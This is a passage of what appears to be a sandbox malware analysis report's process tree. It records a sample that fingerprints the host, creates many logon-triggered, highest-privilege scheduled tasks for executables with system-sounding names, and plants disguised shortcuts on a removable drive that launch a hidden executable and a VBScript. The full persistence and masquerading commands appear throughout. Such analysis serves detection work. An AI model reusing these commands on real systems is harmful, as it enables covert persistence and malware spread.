  2⤵
  - Executes a command shell one-liner
  PID:7104
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:5272
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:4824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:6792
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:4428
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:5648
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:7448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:7920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:8128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:6436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7660
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:8036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'comsurrogate_service' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:6532
- C:\Windows\ServiceProfiles\ComSurrogate_Service.exe
  C:\Windows\ServiceProfiles\ComSurrogate_Service.exe
  2⤵
  PID:6284
- C:\Windows\Temp\WindowsModules_Helper.exe
  C:\Windows\Temp\WindowsModules_Helper.exe
  2⤵
  PID:7556
- C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsPush_Helper.exe
  C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsPush_Helper.exe
  2⤵
  PID:7264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:6764
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:7900
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:3244
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:8008
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  PID:7260
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:5560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:7604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:6160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:4452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:7888
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:8140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'comsurrogate_service' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:7596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:8188
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:7888
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:6912

C:\Windows\System32\oobe\ServiceHost_LocalSystem.exe
C:\Windows\System32\oobe\ServiceHost_LocalSystem.exe
1⤵
PID:3120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:5620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:4172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:6496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:7452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:7356
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Service /tr C:\Windows\System32\Drivers\WindowsPush_Service.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7740
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsPush_Config /tr C:\Windows\security\WindowsLicense_Manager.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6180
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Agent /tr C:\Windows\Help\BackgroundTransfer_Service.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:3660
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:7076
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  PID:8120

C:\Users\Public\Documents\WindowsShell_Provider.exe
C:\Users\Public\Documents\WindowsShell_Provider.exe
1⤵
PID:3856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:3660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:5196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7212
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Manager /tr C:\Windows\System32\Tasks\Microsoft\WindowsShell_Provider.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:2244
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsLicense_Manager /tr C:\Windows\System32\Tasks\SecurityHealthService.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7696
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsPush_Helper /tr C:\Windows\ServiceProfiles\BackgroundBroker_Service.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7552
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:3192
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:6276
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:5528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:6184
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:6856
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:7308
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  PID:7624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:5528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:5428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Documents.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7808
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:6676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'windowsshell_provider' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:7416
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:4900
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:7372
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:5036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:6508

C:\Windows\Inf\WindowsShell_Helper.exe
C:\Windows\Inf\WindowsShell_Helper.exe
1⤵
PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:5740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:8096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:7316
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsPush_Config /tr "C:\Program Files\Windows NT\WindowsShell_Helper.exe" /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3328

C:\Windows\Temp\WindowsModules_Helper.exe
C:\Windows\Temp\WindowsModules_Helper.exe
1⤵
PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:5724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:6068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:5772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8084
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsUpdate_Checker /tr C:\ProgramData\Microsoft\Diagnosis\DcomServer_Service.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6168
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn SecurityCenter_Provider /tr C:\ProgramData\Microsoft\Windows\WindowsModules_Helper.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7228
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsPush_Updater /tr C:\Windows\Help\WindowsModules_Config.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3488
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:6676
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:5988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:6784
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:7176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:6836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:7264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command hostname
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command [System.Environment]::UserName
  2⤵
  PID:6456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_OperatingSystem).Caption + ' ' + (Get-WmiObject Win32_OperatingSystem).Version"
  2⤵
  PID:4676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "'{0:N2}' -f ((Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB)"
  2⤵
  PID:7100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_VideoController).Name -join '; '"
  2⤵
  PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_BaseBoard).Manufacturer + ' ' + (Get-WmiObject Win32_BaseBoard).Product"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "(Get-WmiObject Win32_BIOS).Manufacturer + ' ' + (Get-WmiObject Win32_BIOS).SMBIOSBIOSVersion"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-WmiObject Win32_DiskDrive | ForEach-Object { $_.Model + ' (' + ('{0:N0} GB' -f ($_.Size/1GB)) + ')' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7144
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "7144" "2492" "2408" "2496" "0" "0" "2500" "0" "0" "0" "0" "0"
    3⤵
    PID:7084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | ForEach-Object { $_.Name + ' - ' + $_.LinkSpeed }"
  2⤵
  PID:6168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'dcomserver_service' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:5216

C:\Windows\ServiceProfiles\ComSurrogate_Service.exe
C:\Windows\ServiceProfiles\ComSurrogate_Service.exe
1⤵
PID:3756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:3328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:5560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:1248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1328
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Service /tr C:\Windows\System32\catroot\SecurityCenter_Provider.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6424
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsPush_Updater /tr C:\Windows\Registration\WindowsModules_Install.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7212
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Install /tr C:\ProgramData\Microsoft\Windows\WindowsUpdate\RuntimeBroker_Config.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8084
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:4000
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:3820
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:1400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:5216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7572
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "7572" "2076" "1996" "2080" "0" "0" "2084" "0" "0" "0" "0" "0"
    3⤵
    PID:7456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:6548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5548
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:7200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-Process -Name 'securitycenter_provider' -ErrorAction SilentlyContinue).Count"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:6316

C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsPush_Helper.exe
C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsPush_Helper.exe
1⤵
PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:4016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:4460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:7280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:6416
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Experience /tr C:\Windows\System32\spool\WindowsSecurity_Provider.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3660
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Provider /tr C:\Windows\Help\WindowsModules_Service.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7780
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn RuntimeBroker_Config /tr C:\ProgramData\Microsoft\Windows\NetCache\WindowsPush_Updater.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4204
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:6808
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:8064
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:7084
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:7380
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:7676
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:7932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:7224

C:\Windows\Registration\DataCenter_Service.exe
C:\Windows\Registration\DataCenter_Service.exe
1⤵
PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:5420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:5228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:7572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5720
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Helper /tr C:\Windows\Globalization\WindowsDefender_Update.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6668
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Experience /tr "C:\Program Files (x86)\Common Files\WindowsShell_Broker.exe" /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7772
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn SecurityCenter_Provider /tr C:\Windows\SoftwareDistribution\ServiceHost_LocalService.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5272
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:6252
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:1276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1204
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:4244
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:3256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:7660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:7572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
